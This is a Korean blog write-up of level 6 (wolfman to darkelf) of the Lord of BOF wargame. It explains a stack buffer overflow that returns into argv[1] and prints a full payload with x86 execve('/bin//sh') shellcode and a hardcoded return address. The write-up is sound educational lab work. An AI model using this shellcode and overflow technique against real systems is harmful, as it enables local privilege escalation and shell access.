Notice
Recent Posts
Recent Comments
Link
«   2025/09   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

R4mbb

LOB - level6 [wolfman -> darkelf] 본문

Write-up/LOB

LOB - level6 [wolfman -> darkelf]

R4mbb 2021. 5. 20. 07:43

이전 문제들과 비슷하지만, 인자의 길이가 "\xbf" 검사한 뒤 더 이상 인자가 오면 안된다.

 

그렇다면 이런식으로 페이로드를 짤 수 있을 것 같다.

 

dummy[19] + "shell"[25] + shell_addr[4]

 

여기서 이전과 달라진 점은 shell_addr에 들어가는 주소는 buffer의 주소가 아니다.

 

정확하게는 buffer에 복사되기전의 argv[1]의 인접 주소이다.

 

이렇게 된다면 buffer의 내부가 비워져도 argv[1]의 shellcode를 사용할 수 있게 된다.

 

페이로드를 짜보자.

 

빨간색 칸이 argv[1]의 주소이다.

 

최종 페이로드는 이렇게 된다.

 

"\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x1c\xfc\xff\xbf"

 

이렇게 보내면 된다.

 

dhk~~

'Write-up > LOB' 카테고리의 다른 글

LOB - level8 [orge -> troll]  (0) 2021.05.24
LOB - level7 [darkelf -> orge]  (0) 2021.05.21
LOB - level5 [orc -> wolfman]  (0) 2021.05.20
LOB - level4 [goblin -> orc]  (0) 2021.05.20
LOB - level3 [cobolt -> goblin]  (0) 2021.05.20